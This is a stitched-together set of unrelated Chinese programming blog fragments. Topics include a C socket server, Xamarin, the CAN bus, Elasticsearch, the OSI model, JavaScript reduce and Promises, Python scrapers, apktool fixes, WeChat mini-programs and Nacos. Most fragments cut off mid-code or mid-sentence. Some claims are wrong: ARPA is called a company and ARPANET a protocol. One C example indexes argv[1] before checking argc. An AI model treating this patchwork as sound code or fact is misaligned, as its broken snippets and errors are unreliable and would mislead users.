if(waitpid(0,NULL,0)!=-1) // printf("disconnect a client successfully\n"); return; } int main() { struct sockaddr_in addr_s,addr_c; socklen_t addr_c_len=sizeof addr_c; int lfd,cfd,res,n; pid_t pid; struct sigaction act; char buf[BUFSIZ],client_IP[1024]; lfd=socket(AF_INET,SOCK_STREAM,0); if(lfd<0) sys_err("socket error"); addr_s.sin_family=AF_INET; addr_s.
代码实现 在构建 Android App 时,写了一个 AboutPage。在 AboutPage 上显示 App 的当前版本号是常见的做法。使用 Xamarin.Foms 获取当前版本号的方法是使用 Xamarin.Forms 的 VersionTracking 类。
如下,我写了一个非常简单的 AboutPage,其中定义了一个Span,命名为 spText,用于显示 App 的当前版本号。
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using Xamarin.Essentials; using Xamarin.Forms; using Xamarin.Forms.Xaml; namespace I2oT.Views.SystemSettings { [XamlCompilation(XamlCompilationOptions.Compile)] public partial class AboutPage : ContentPage { public AboutPage () { InitializeComponent (); } protected override void OnAppearing() { base.OnAppearing(); spVersion.Text = " v" + VersionTracking.CurrentVersion; } async void OnButtonClicked(object sender, EventArgs e) { await Launcher.
CAN总线通信详解 (超详细配34张高清图) 1. CAN总线历史 CAN 是 Controller Area Network 的缩写(以下称为 CAN),是 ISO国际标准化的串行通信协议。
在当前的汽车产业中,出于对安全性、舒适性、方便性、低公害、低成本的要求,各种各样的电子控制系统被开发了出来。由于这些系统之间通信所用的数据类型及对可靠性的要求不尽相同,由多条总线构成的情况很多,线束的数量也随之增加。为适应“减少线束的数量”、“通过多个 LAN,进行大量数据的高速通信”的需要。
CAN 最初出现在80年代末的汽车工业中,由德国 Bosch 公司最先提出。当时,由于消费者对于汽车功能的要求越来越多,而这些功能的实现大多是基于电子操作的,这就使得电子装置之间的通讯越来越复杂,同时意味着需要更多的连接信号线。提出 CAN 总线的最初动机就是为了解决现代汽车中庞大的电子控制装置之间的通讯,减少不断增加的信号线。于是,他们设计了一个单一的网络总线,所有的外围器件可以被挂接在该总线上。1993年,CAN 已成为国际标准 ISO11898(高速应用)和 ISO11519(低速应用)。
CAN 是一种多主方式的串行通讯总线,基本设计规范要求有高的位速率,高抗电磁干扰性,而且能够检测出产生的任何错误。当信号传输距离达到10Km 时,CAN 仍可提供高达50Kbit/s 的数据传输速率。由于 CAN 总线具有很高的实时性能,现在,CAN 的高性能和可靠性已被认同,并被广泛地应用于工业自动化、船舶、医疗设备、工业设备等方面。
图 1 是车载网络的构想示意图。CAN 等通信协议的开发,使多种 LAN 通过网关进行数据交换得以实现。
2. CAN总线结构 CAN总线网络的结构有闭环和开环两种形式。如下图2所示,是闭环结构的CAN总线网络,总线两端各连接一个120欧的电阻,两根信号线形成回路。这种CAN总线网络由ISO 11898标准定义,是高速、短距离的CAN网络,通信速率为125kbit/s到1Mbit/s。在1Mbit/s通讯速率时,总线长度最长达40m。
图2.闭环结构的CAN总线网络 下图3是开环结构的CAN总线网络,两根信号线独立,各自串联一个2.2k欧的电阻。这种CAN总线网络由ISO11519-2标准定义,是低速、远距离的CAN网络,通信速率最高125kbit/s。在40kbit/s速率时,总线最长距离可达1000m。
图3.开环结构的CAN总线网络 CAN总线由两根信号线,即图2和图3中的CANH和CANL,没有时钟同步信号。所以CAN是一种异步通信方式,与UART的异步通信方式类似,而SPI、I2C是以时钟信号同步的同步通信方式。
CAN总线的两根信号线通常采用的是双绞线,如下图4所示,传输的是差分信号,通过两根信号线的电压差CANH-CANL来表示总线电平。以差分信号传输信息具有抗干扰能力强,能有效抑制外部电磁干扰等优点,这也是CAN总线在工业上应用广泛的一个原因。使用差分信号表示总线电平的还有RS485网络,也是一种常用的工业现场总线。
图4.双绞线类型 两根信号线的电压差CANH-CANL表示CAN总线的电平,与传输的逻辑信号1或0对应。对应于逻辑1的称为隐性(Recessive)电平,对应于逻辑0成为显性(Dominant)电平。如图5所示,上半部分为实际CANH和CANL的电平,下半部分对于的逻辑电平。
图5.根据 ISO 11898 的额定总线电平 对应于逻辑1和逻辑0,开环结构和闭环结构CAN网络的CANH和CANL的电压值不一样,隐性电平和显性电平的电压值不一样。两种网络结构下的CAN总线信号典型的电压如下表1所示,在ISO11898中,隐性电平在电压差0附近,显性电平主要在电压差2V附近。在ISO11519-2中,隐性电平在电压差小于0V,显性电平电压差大于2V:
表1. ISO11898 和 11519-2 物理层的主要不同点 如图6所示的CAN总线网络中,CAN总线上的一个终端设备称为一个节点(Node),在CAN网络中,没有主设备和从设备的区别。一个CAN节点的硬件部分一般由CAN控制器和CAN收发器两个部分组成。CAN控制器负责CAN总线的逻辑控制,实现CAN传输协议;CAN收发器主要负责MCU逻辑电平与CAN总线电平之间的转换。
图6.闭环和开环结构 CAN控制器一般是MCU的片上外设,例如,STM32F407由两个CAN控制器。CAN收发器一般是单独的芯片,并且根据CAN总线的结构不同,需要使用不同的CAN收发芯片,例如,STM32F407开发板上使用的CAN收发芯片是TJA1040,只能构成闭环网络结构。
3. CAN总线特点 实时性: CAN总线具有优越的实时性能,适用于需要及时传输数据的应用,如汽车控制系统、工业自动化等。仲裁机制和帧优先级的设计保证了低延迟和可预测性。
文章目录 🐒个人主页🏅JavaEE系列专栏📖前言:🎀使用kibana来为ElasticSearch创建索引库🎀使用kibana来为ElasticSearch创建修改文档 🐒个人主页 🏅JavaEE系列专栏 📖前言: 本篇博客主要以介绍使用kibana来创建ElasticSearch的索引库与文档的命令语句
🎀使用kibana来为ElasticSearch创建索引库 # 🎀🎀🎀🎀🎀--DDL操作--🎀🎀🎀🎀🎀 # 创建索引表 PUT /news { "mappings": { "properties": { "id":{ "type": "integer", "index": false }, "content":{ "type": "text", "analyzer": "ik_max_word" }, "count":{ "type": "long", "index": false } } } } # 查询(索引)表结构 get /news # 修改(索引)表结构 PUT /news/_mapping { "properties":{ "img":{ "type":"keyword", "index":false } } } # 删除表结构 DELETE /news 操作效果创建索引表查询(索引)表结构修改(索引)表结构删除表结构 🎀使用kibana来为ElasticSearch创建修改文档 # 🎀🎀🎀🎀🎀--DML操作--🎀🎀🎀🎀🎀 # 插入一条文档(记录) POST /news/_doc/1 { "id":1, "
网络协议是为计算机网络中进行数据交换而建立的规则、标准或者说是约定的集合。因为不同用户的数据终端可能采取的字符集是不同的,两者需要进行通信,必须要在一定的标准上进行。一个很形象地比喻就是我们的语言,我们国家地广人多,地方性语言也非常丰富,而且方言之间差距巨大。A地区的方言可能B地区的人根本无法接受,所以我们要为全国人名进行沟通建立一个语言标准,这就是我们的普通话的作用。
计算机网络协议同我们的语言一样,多种多样。而ARPA公司与1977年到1979年推出了一种名为ARPANET的网络协议受到了广泛的热捧,其中最主要的原因就是它推出了人尽皆知的TCP/IP标准网络协议。目前TCP/IP协议已经成为Internet中的"通用语言",下图为不同计算机群之间利用TCP/IP进行通信的示意图。
一、网络层次划分 为了使不同计算机厂家生产的计算机能够相互通信,以便在更大的范围内建立计算机网络,国际标准化组织(ISO)在1978年提出了"开放系统互联参考模型",即著名的OSI/RM模型(Open System Interconnection/Reference Model)。它将计算机网络体系结构的通信协议划分为七层,自下而上依次为:物理层(Physics Layer)、数据链路层(Data Link Layer)、网络层(Network Layer)、传输层(Transport Layer)、会话层(Session Layer)、表示层(Presentation Layer)、应用层(Application Layer)。其中第四层完成数据传送服务,上面三层面向用户。
除了标准的OSI七层模型以外,常见的网络层次划分还有TCP/IP四层协议以及TCP/IP五层协议,它们之间的对应关系如下图所示:
二、 OSI七层网络模型 TCP/IP协议毫无疑问是互联网的基础协议,没有它就根本不可能上网,任何和互联网有关的操作都离不开TCP/IP协议。不管是OSI七层模型还是TCP/IP的四层、五层模型,每一层中都要自己的专属协议,完成自己相应的工作以及与上下层级之间进行沟通。由于OSI七层模型为网络的标准层次划分,所以我们以OSI七层模型为例从下向上进行一一介绍。
1)物理层(Physical Layer)
激活、维持、关闭通信端点之间的机械特性、电气特性、功能特性以及过程特性。
该层为上层协议提供了一个传输数据的可靠的物理媒体。简单的说,物理层确保原始的数据可在各种物理媒体上传输。
物理层记住两个重要的设备名称,中继器(Repeater,也叫放大器)和集线器。
2)数据链路层(Data Link Layer)
数据链路层在物理层提供的服务的基础上向网络层提供服务,其最基本的服务是将源自网络层来的数据可靠地传输到相邻节点的目标机网络层。为达到这一目的,数据链路必须具备一系列相应的功能,主要有:如何将数据组合成数据块,在数据链路层中称这种数据块为帧(frame),帧是数据链路层的传送单位;如何控制帧在物理信道上的传输,包括如何处理传输差错,如何调节发送速率以使与接收方相匹配;以及在两个网络实体之间提供数据链路通路的建立、维持和释放的管理。数据链路层在不可靠的物理介质上提供可靠的传输。该层的作用包括:物理地址寻址、数据的成帧、流量控制、数据的检错、重发等。
有关数据链路层的重要知识点:
1> 数据链路层为网络层提供可靠的数据传输;
2> 基本数据单位为帧;
3> 主要的协议:以太网协议;
4> 两个重要设备名称:网桥和交换机。
3)网络层(Network Layer)
网络层的目的是实现两个端系统之间的数据透明传送,具体功能包括寻址和路由选择、连接的建立、保持和终止等。它提供的服务使传输层不需要了解网络中的数据传输和交换技术。如果您想用尽量少的词来记住网络层,那就是"路径选择、路由及逻辑寻址"。
网络层中涉及众多的协议,其中包括最重要的协议,也是TCP/IP的核心协议——IP协议。IP协议非常简单,仅仅提供不可靠、无连接的传送服务。IP协议的主要功能有:无连接数据报传输、数据报路由选择和差错控制。与IP协议配套使用实现其功能的还有地址解析协议ARP、逆地址解析协议RARP、因特网报文协议ICMP、因特网组管理协议IGMP。具体的协议我们会在接下来的部分进行总结,有关网络层的重点为:
1> 网络层负责对子网间的数据包进行路由选择。此外,网络层还可以实现拥塞控制、网际互连等功能;
2> 基本数据单位为IP数据包;
3> 包含的主要协议:
IP协议(Internet Protocol,因特网互联协议);
ICMP协议(Internet Control Message Protocol,因特网控制报文协议);
ARP协议(Address Resolution Protocol,地址解析协议);
RARP协议(Reverse Address Resolution Protocol,逆地址解析协议)。
4> 重要的设备:路由器。
4)传输层(Transport Layer)
第一个端到端,即主机到主机的层次。传输层负责将上层数据分段并提供端到端的、可靠的或不可靠的传输。此外,传输层还要处理端到端的差错控制和流量控制问题。 传输层的任务是根据通信子网的特性,最佳的利用网络资源,为两个端系统的会话层之间,提供建立、维护和取消传输连接的功能,负责端到端的可靠数据传输。在这一层,信息传送的协议数据单元称为段或报文。 网络层只是根据网络地址将源结点发出的数据包传送到目的结点,而传输层则负责将数据可靠地传送到相应的端口。 有关网络层的重点:
1> 传输层负责将上层数据分段并提供端到端的、可靠的或不可靠的传输以及端到端的差错控制和流量控制问题;
目录
一、语法剖析
二、实例讲解
1. 求数组项之和
2. 求数组项最大值
3. 数组去重
三、其他相关方法
1. reduceRight()
2. forEach()、map()、every()、some()和filter()
四、重点总结
先看w3c语法
✔ 常见用法
数组求和
数组最大值
✔ 进阶用法
数组对象中的用法
求字符串中字母出现的次数
数组转数组
数组转对象
✔ 高级用法
多维的叠加执行操作
扁平一个二维数组 对象数组去重
compose函数
很多人不清楚reduce() 的使用方式或是很难理解 reduce() 这个方法的具体用法,平时也很少用到它。事实上,如果你能真正了解它的话,其实在很多地方我们都可以用得上,那么今天我们就来简单聊聊JS中 reduce() 的用法。
一、语法剖析 arr.reduce(function(prev,cur,index,arr){ ... }, init); 其中,
arr 表示原数组;
prev 表示上一次调用回调时的返回值,或者初始值 init;
cur 表示当前正在处理的数组元素;
index 表示当前正在处理的数组元素的索引,若提供 init 值,则索引为0,否则索引为1;
init 表示初始值。
看上去是不是感觉很复杂?没关系,只是看起来而已,其实常用的参数只有两个:prev 和 cur。接下来我们跟着实例来看看具体用法吧~
二、实例讲解 先提供一个原始数组:
var arr = [3,9,4,3,6,0,9]; 实现以下需求的方式有很多,其中就包含使用reduce()的求解方式,也算是实现起来比较简洁的一种吧。
1. 求数组项之和 var sum = arr.
一、关于史密斯数的传说 1、关于理海大学Lehigh University 理海大学(Lehigh University),位于宾夕法尼亚州(Pennsylvania)伯利恒(Bethlehem),由富有爱国情怀与民族精神的实业家艾萨·帕克(Asa Packer)创校于1865年,是美国一所历史悠久的私立研究型院校。
2、数学家Albert Wilansky的姐夫H.Smith 1982年,Lehigh大学的数学家Albert Wilansky在查看电话簿的时候,突然发现他的姐夫H.Smith的电话号码有一个很特别的性质:
该数字的所有位数之和,等于该数所有质因子的位数之和!
4937775 = 3 * 5 * 5* 65837
4937775的位数和为:
4+9+3+7+7+7+5 = 42
而该数所有质因子的位数之和为:
3+5+5+(6+5+8+3+7) = 42
于是Albert Wilansky将有这种性质的数叫做Smith number。
很显然,质数都有这种性质,所以他把质数排除在外。
运行效果:
二、计算方法 输入一个数,求出其质因子的位数之和,然后判断是否和原数的位数之和相等,质数排除在外,因为任何一个数(大于2的数)除了质数都可以写成一系列的从小的大的质数的乘的形式,所以对于每一个数都做这样的计算,从i(i>=2)开始遍历,如果这个数对i取摸等于0,那么将这个数除以i,直到取摸i不等于0,纪录i的个数,然后在计算一个i的位数之和,总的位数和为(个数*一个的位数之和),然后i++,i的上界为sqrt(n+0.0),当然最后还要做一个判断,这个数是否是质数,这可以在循环中加一个标记来判断是否有因子;如果是质数,最后n是否是1,如果不是加上这个数的位数之和,否则跳过。
三、源代码 其中涉及到 质数的 Sundaram筛选法,也叫“森德拉姆素数筛法”。
using System; using System.Collections; using System.Collections.Generic; namespace Legalsoft.Truffer.Algorithm { public static class SmithNumber { /// <summary> /// 最大数 /// </summary> public static int MAX { get; set; } = Int32.MaxValue - 1024; /// <summary> /// 质数数组 /// </summary> public static List<int> primes { get; set; } = new List<int>(); /// <summary> /// 质数序列计算的 Sundaram 算法 /// Sundaram筛选法,也叫“森德拉姆素数筛法” /// </summary> public static void SieveSundaram() { bool[] marked = new bool[MAX]; for (int i = 1; i <= (Math.
/*
编写一个函数,读入10个字符串或者读到EOF时停止。
该程序为用户提供一个有5个选项的菜单:
打印源字符串列表
以ASCII中的顺序打印字符串
按长度递增顺序打印字符串
按字符串中第1个单词的长度打印字符串
退出
菜单可以循环显示,除非用户选择退出选项。当然,该
程序要能真正完成菜单中各选项的功能。
*/
/*测试用字符串 sadflkj
dskfjs
fsdf
dsfsd
sdf sdf sdf
sdfs
x
xcvcxv
b
a
*/
//测试用字符串 //={" Jddd de","ISD","HS"," ASDFA DFDS","FW"," aEQWerw e","DBV","Cc","BS dD","A DFF"}
//{"J","I","H","G","F","E","D","C","B","A"};
#include<stdio.h>
#include<string.h>
#include <stdlib.h>
#define SIZE 10
void get_string(char tr[][40]);
void bubble_sort(int arr[], int len);
int word_len(char *tr);
void repeat_zero(int len[]);
void a(char tr[][40]);
void b(char tr[][40]);
void c(char tr[][40]);
void d(char tr[][40]);
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
printf("打印字符串,请输入参数:\n文件名 字符串 打印参数\n-p\t按原样打印\n-u\t把输入全部转换成大写\n-l把输入全部转换成小写\n");
int i;
int len = strlen(argv[1]);
if(argc != 3) {
printf("Usage: program_name arg1 arg2 arg3\n");
return 1;
}
if(strcmp(argv[2],"-u")==0) {
for(i=0;i<len;i++)
{
if(islower(argv[1][i]))
argv[1][i] = toupper(argv[1][i]);
else continue; } printf("%s\n",argv[1]) ;
}
else if(strcmp(argv[2],"-l")==0) {
for(i=0;i<len;i++)
{
if(isupper(argv[1][i]))
argv[1][i] = tolower(argv[1][i]);
else continue; }
printf("%s\n",argv[1]) ; }
else
printf("%s\n",argv[1]) ;
}
使用texstudio书写中文毕业论文时键盘输入卡顿 摘要 最近在使用TexStudio书写毕业论文。我同时打开了多个文档进行参考书写,键盘输入变得非常卡顿。在网上搜索一番之后,未找到满意的解决方案 。猜测可能是因为打开文件过多导致。于是,我将这些文件中暂时用不到的一个文件关闭。过了大概不到十五秒,键盘输入就变得顺畅了。如果这是时候还是没有变得顺畅,可以重启texstudio.
原因二:电脑开启进程过多,导致电脑卡顿。可以关闭一些其他的暂时不用的程序。你可能会说,我很可能马上就要用到了其他程序,我有过这样的想法。一个契机是昨天晚上整栋楼停电,我无奈只得关闭电脑。第二天早上来,重新打开texstudio输入的时候,输入速度无比流畅。那些我以为马上要用的程序一直没有被我开启。这是我的一个觉察。
爬虫—抓取表情党热门栏目名称及链接 表情党网址:https://qq.yh31.com/
目标:抓取表情党主页的热门栏目名称及对应的链接,如下图所示:
按F12(谷歌浏览器),进入开发者工具模式,进行页面分析,在Elements板块下,进入搜索栏(Ctrl+F),在框中输入“//div[@id=“dibu_cc”]//li/a“,可以匹配到所有的热门栏目a标签,如下图:
源码如下:
import requests from lxml import etree url = 'https://qq.yh31.com' headers= { 'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36' } res = requests.get(url, headers=headers) tree = etree.HTML(res.content) rm_lst = tree.xpath('//div[@id="dibu_cc"]//li/a') for rm in rm_lst: print('热门栏目名称:', end=' ') print(rm.xpath('./text()')) print('热门栏目链接:', end=' ') print(url + rm.xpath('./@href')[0]) 运行结果如下:
爬虫—中信证券资管产品抓取 中信证券资管产品板块网址:http://www.cs.ecitic.com/newsite/cpzx/jrcpxxgs/zgcp/
页面截图如下:
目标:抓取上图中红框内的所有资产信息
按F12进入开发者工具模式,在Elements板块下,在搜索框内输入“//ul[@class=“list-con”]/li",匹配ul列表里的所有资管产品的li标签,如图:
抓取单页数据,源码如下:
import requests from lxml import etree headers = { 'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36' } url = 'http://www.cs.ecitic.com/newsite/cpzx/jrcpxxgs/zgcp/index.html' res = requests.get(url, headers=headers) res.encoding = res.apparent_encoding data = res.text tree = etree.HTML(data) # 获取每个li标签 li_lst = tree.xpath('//ul[@class="list-con"]/li') i = 1 for li in li_lst: print(str(i)+'.', ', '.join(li.xpath('./span/text()'))) i += 1 运行结果如下:
本案例只抓取第一页的资管产品信息,如果想抓取多页,可以自行修改代码。
抓取多页数据,源码如下:
import requests from lxml import etree headers = { 'user-agent': 'Mozilla/5.
一个简易的PHP论坛系统 php课程设计,毕业设计
预览 技术 bootstrap 4.x
jquery
css
php
mysql 5.7
目录结构 登录 管理员
admin/123456
测试用户
user1/123456
更多文章和源码获取查看
JavaScript 使用自动垃圾回收(Garbage Collection)机制来管理内存,以确保不再使用的对象被及时清理,释放内存资源。下面是 JavaScript 的垃圾回收机制的一般原则:
标记清除(Mark and Sweep):这是最常用的垃圾回收算法。它的基本原理是通过标记活动对象和清除非活动对象来进行垃圾回收。垃圾回收器会从根对象开始,标记所有可以访问到的对象,然后清除未被标记的对象。
引用计数(Reference Counting):这是另一种垃圾回收算法。它的基本原理是为每个对象维护一个引用计数器。当对象被引用时,计数器加一;当引用被释放时,计数器减一。当计数器归零时,对象就可以被回收。
JavaScript 的垃圾回收器会周期性地检查对象的引用关系,找出不再被引用的对象,并将其回收。具体的垃圾回收策略和频率取决于浏览器或 JavaScript 引擎的实现,不同浏览器和引擎可能有不同的行为。
需要注意的是,虽然 JavaScript 具有自动垃圾回收机制,但我们仍然需要注意一些内存管理的最佳实践,以避免出现内存泄漏或性能问题。例如,及时释放不再使用的对象的引用,避免循环引用,合理使用闭包等。
总结起来,JavaScript 的垃圾回收机制是一种自动管理内存的机制,通过标记清除和引用计数等算法来回收不再使用的对象,以释放内存资源。
JavaScript 可以通过以下方式在页面中输出内容:
使用 document.write() 方法,将文本字符串直接写入 HTML 文档中。
document.write("Hello World!"); 使用 innerHTML 属性,向元素的内部插入 HTML 代码。
document.getElementById("myElement").innerHTML = "Hello World!"; 使用 console.log() 方法,在浏览器的控制台中输出内容。
console.log("Hello World!"); 在页面中创建新的 HTML 元素,并将其添加到文档中
var newElement = document.createElement("p"); newElement.textContent = "Hello World!"; document.body.appendChild(newElement); 将内容作为提示框或对话框的文本输出
alert("Hello World!"); prompt("What is your name?"); confirm("Are you sure?"); 值得注意的是,使用 document.write() 方法会覆盖页面原有的内容,不建议在实际开发中使用。而其他方法则可以更灵活地处理输出内容,建议根据具体需求选择使用。
第一种反编译时异常:
Exception in thread “main” org.jf.dexlib2.dexbacked.DexBackedDexFile$NotADexFile: Not a valid dex magic value: cf 77 4c c7 9b 21 01
修改方法:
编辑 AndroidKiller 的 bin/apktool 目录下有一个 apktool.bat 文件
修改成:在 java -jar “%~dp0\apktool\apktool_2.4.1.jar” 后加上 --only-main-classes 内容
java -jar “%~dp0\apktool\apktool_2.4.1.jar” --only-main-classes %1 %2 %3 %4 %5 %6 %7 %8 %9
第二种回编各种图片之类的异常:这个比较麻烦
还上面那个位置修改成如下:
增加 d -r
java -jar “%~dp0\apktool\apktool_2.4.1.jar” --only-main-classes d -r %1 %2 %3 %4 %5 %6 %7 %8 %9
这里的意思是不反编译资源仅仅反编译smali而不反编译资源
!!!!这样做完,就可以了…那是不可能的。。。。!!!!
css命名 https://github.com/Tencent/tdesign-common/blob/main/css-naming.md
界面设置 页面标题 json
{ "usingComponents": {}, "navigationBarTitleText": "库存搜索", "navigationBarBackgroundColor": "#9D1117", "navigationBarTextStyle":"white" } 页面标题镂空 json
{ "usingComponents": {}, "navigationBarTitleText": "库存搜索", "navigationStyle": "custom" } 循环判断 循环 wx:for="{{firstRow}}" wx:key="id" wx:for-item="item" 是否显示 wx:if="{{false}}" wx:if="{{true}}" 三种状态判断显示 <block wx:if="{{true}}"> </block> <block wx:elif="{{true}}"> </block> <block wx:else> </block> 样式三元判断
<view class="start-btn {{isRunning?'start-on':'start-off'}}" bindtap="startGame">START</view> 跳转页面 导航栏页面的跳转 <navigator url="../kehulist/kehulist" open-type="switchTab" class="xidi-buts-item"><text>取消</text></navigator> 普通跳转 <navigator url="../kehulist/kehulist" open-type="navigate" hover-class="none" class="xidi-buts-item"><text>取消</text></navigator> 筛选页面跳转 wx.navigateTo toFilter: function () { wx.navigateTo({ url: '../genjinfilter/genjinfilter?key=1', }) }, 返回上一页面 wx.
目录
一、常用的数据集
1.1 ImageNet
1.2 PASCAL VOC
1.3 MS COCO
1.4 KITTI
1.5 LabelMe
二、一些垂直领域的数据集如鱼类
2.1 Fish Species Dataset
2.2 Large-scale Fish Datasets for Classification and Segmentation
2.3 Fish Market Dataset
2.4 fish4knowledge
三、找数据集和基本方法
一、常用的数据集 机器视觉领域中存在多个公开的、常用的和著名的数据集,这些数据集广泛用于研究、开发和测试各种机器视觉算法。以下是一些数据集的名字、发布人(或机构)、下载地址和简要描述:
1.1 ImageNet 发布人/机构:斯坦福大学计算机科学家李飞飞等下载地址:通常需要注册ImageNet账号后才可以下载,具体下载链接可以在ImageNet官方网站找到。描述:ImageNet是一个大型视觉数据库,旨在推动计算机视觉和机器学习研究。它包含上百万张手工标注的图像,涵盖数千个类别。ImageNet挑战赛(ILSVRC)是该领域最具影响力的竞赛之一。 1.2 PASCAL VOC 发布人/机构:PASCAL VOC项目组下载地址:可在PASCAL VOC官方网站找到下载链接。描述:PASCAL VOC(Visual Object Classes)是一个标准化的计算机视觉数据集,用于对象检测和识别。它提供了一系列带有标注的图像,用于训练和测试算法。 1.3 MS COCO 发布人/机构:微软研究院(Microsoft Research)下载地址:可在MS COCO官方网站找到下载链接。描述:MS COCO(Common Objects in Context)是一个大规模的目标检测、分割和关键点检测数据集。它强调在自然场景中的常见对象,并提供详细的标注信息。 1.4 KITTI 发布人/机构:德国卡尔斯鲁厄理工学院和丰田美国技术研究院下载地址:可在KITTI官方网站找到下载链接。描述:KITTI数据集是用于自动驾驶和计算机视觉研究的标准数据集。它包含用于立体图像、光流、视觉测距、3D对象检测和跟踪等任务的图像和标注信息。 1.5 LabelMe 发布人/机构:麻省理工学院(MIT)计算机科学和人工智能实验室(CSAIL)下载地址:LabelMe数据集可能已经集成在某些计算机视觉库或平台中,具体下载方式可能因平台而异。也可以通过学术搜索引擎找到相关的研究论文和数据集链接。描述:LabelMe是一个大型图像数据库,包含大量手工标注的图像。该数据集广泛用于图像分割、对象识别和场景理解等任务。 请注意,以上信息可能会随着时间的推移而发生变化。建议在搜索具体数据集时,直接访问相关官方网站或学术搜索引擎以获取最新和详细的信息。此外,还有其他一些知名的数据集,如Open Images、Cityscapes等,也值得关注和探索。
二、一些垂直领域的数据集如鱼类 由于我们上次,讨论了水下机器视觉,其中训练“认识鱼类”的数据集,就包括很多。
关于鱼类的数据集有多个,以下是其中几个知名的数据集:
一、Promise 1.1 promise是什么? Promise 是异步编程的一种解决方案,比传统的解决方案——回调函数和事件——更合理且更强大。它最早由社区提出并实现,ES6将其写进了语言标准,统一了用法,并原生提供了Promise对象。 1、主要用于异步计算
2、可以将异步操作队列化,按照期望的顺序执行,返回符合预期的结果
3、可以在对象之间传递和操作promise,帮助我们处理队列 1.2 为什么会有promise? 1.2.1 为了避免界面冻结(任务) 同步:假设你去了一家饭店,找个位置,叫来服务员,这个时候服务员对你说,对不起我是“同步”服务员,我要服务完这张桌子才能招呼你。那桌客人明明已经吃上了,你只是想要个菜单,这么小的动作,服务员却要你等到别人的一个大动作完成之后,才能再来招呼你,这个便是同步的问题:也就是“顺序交付的工作1234,必须按照1234的顺序完成”。
异步:则是将耗时很长的A交付的工作交给系统之后,就去继续做B交付的工作,。等到系统完成了前面的工作之后,再通过回调或者事件,继续做A剩下的工作。
AB工作的完成顺序,和交付他们的时间顺序无关,所以叫“异步”。
1.2.2 异步操作的常见语法 1.事件监听
document.getElementById('#start').addEventListener('click', start, false); function start() { // 响应事件,进行相应的操作 } // jquery on 监听 $('#start').on('click', start) 2.回调
// 比较常见的有ajax $.ajax('https://www.baidu.com/', { success (res) { // 这里可以监听res返回的数据做回调逻辑的处理 } }) // 或者在页面加载完毕后回调 $(function() { // 页面结构加载完成,做回调逻辑处理 }) 有了nodeJS之后...对异步的依赖进一步加剧了 大家都知道在nodeJS出来之前PHP、Java、python等后台语言已经很成熟了,nodejs要想能够有自己的一片天,那就得拿出点自己的绝活:
无阻塞高并发,是nodeJS的招牌,要达到无阻塞高并发异步是其基本保障
举例:查询数据从数据库,PHP第一个任务查询数据,后面有了新任务,那么后面任务会被挂起排队;而nodeJS是第一个任务挂起交给数据库去跑,然后去接待第二个任务交给对应的系统组件去处理挂起,接着去接待第三个任务...那这样子的处理必然要依赖于异步操作
异步回调的问题: 之前处理异步是通过纯粹的回调函数的形式进行处理很容易进入到回调地狱中,剥夺了函数 return 的能力问题可以解决,但是难以读懂,维护困难稍有不慎就会踏入回调地狱 - 嵌套层次深,不好维护 1.2.3 回调地狱 在正式了解“回调地狱”之前,我们先了解两个概念:
1.回调函数
当一个函数作为参数传入另一个函数中,并且它不会立即执行,只有当满足一定条件后该函数才可以执行,这种函数就称为回调函数。我们熟悉的定时器和Ajax中就存在有回调函数:
setTimeout(function(){ //function(){console.log('执行了回调函数')}就是回调函数,它只有在3秒后才会执行 console.
文章目录 使用Postman测试WebService接口1. 访问wsdl地址2. Postman配置1. URL及Headers设置2. Body设置3. 响应结果 使用Postman测试WebService接口 1. 访问wsdl地址 接口地址如:http://localhost:8101/ws/hello?wsdl
2. Postman配置 1. URL及Headers设置 2. Body设置 Body->raw设置如下
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:impl="http://impl.service.ws.modules.jeecg.org/"> <soapenv:Header/> <soapenv:Body> <impl:sayHello> <!--Optional:--> <name>jinshengyuan</name> </impl:sayHello> </soapenv:Body> </soapenv:Envelope> 3. 响应结果 Body->Pretty Body->Preview
Oracle全系列版本官网下载方法 下面以下载Oracle12cR2为例说明下载的整个过程。
基本步骤如下:
先注册一个Oracle账号并登录;进入到客户下载页面搜索要下载的数据库版本;得到Oracle下载器(Oracle_SSN_DML_xxxxx.exe),注意:每下载一次都会得到一个Oracle的下载器;运行下载器进行下载 1. 进入官网搜数据库版本 官网地址:https://www.oracle.com
1. 点击Resource选项卡 2. 点击Customer Downloads 3. 点Sign In 登录 输入账号密码登录,登录成功后如下
4. 选择分类,并搜索需要安装的数据库 5. 点击要下载的文件并加入到下载列表中 6. 点击Continue进入下载列表 7. 选择对应平台下载文件 8. 查看并接受 Oracle 许可协议。 9. 在下面页面中点击Download 进行下载 10. 获取Oracle软件下载器 点击下载后,会得到Oracle的软件下载器,如下:
2. 运行Oracle下载器进行下载 1. 双击Oracle_SSN_DLM_01120207.exe 2. 点Next,进行下载,如下 3. 看到Complete,则表示下载成功
🥚今日鸡汤🥚
当你最倒霉地时候一定要扛住。
因为,那正是你运气该上升的时候。
——《一人之下》
目录
🧈1.Nacos介绍
🧂2.Nacos服务提供者注册
🥓3.Nacos服务消费者
🌭4.Nacos作为配置中心 🍿5.命名空间+Group+Data Id
1.Nacos介绍 Nacos是阿里巴巴开源的一个动态服务发现、配置管理和服务管理平台。实现微服务架构中的服务注册与发现、动态配置管理、服务健康监测等功能。Nacos就是注册中心+配置中心的组合替代Eureka做服务注册中心替代Config做服务配置中心 2.Nacos服务提供者注册 2.1.建工程 1.在父工程下创建cloudalibaba-provider-payment90012.注意jdk和maven版本号另外创建cloudalibaba-provider-payment9002 2.2.加pom 父工程添加pom:
<!--spring cloud alibaba 2.1.0.RELEASE--> <dependency> <groupId>com.alibaba.cloud</groupId> <artifactId>spring-cloud-alibaba-dependencies</artifactId> <version>2.2.0.RELEASE</version> <type>pom</type> <scope>import</scope> </dependency> 子工程pom: <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-actuator</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> </dependency> <dependency> <groupId>org.projectlombok</groupId> <artifactId>lombok</artifactId> </dependency> 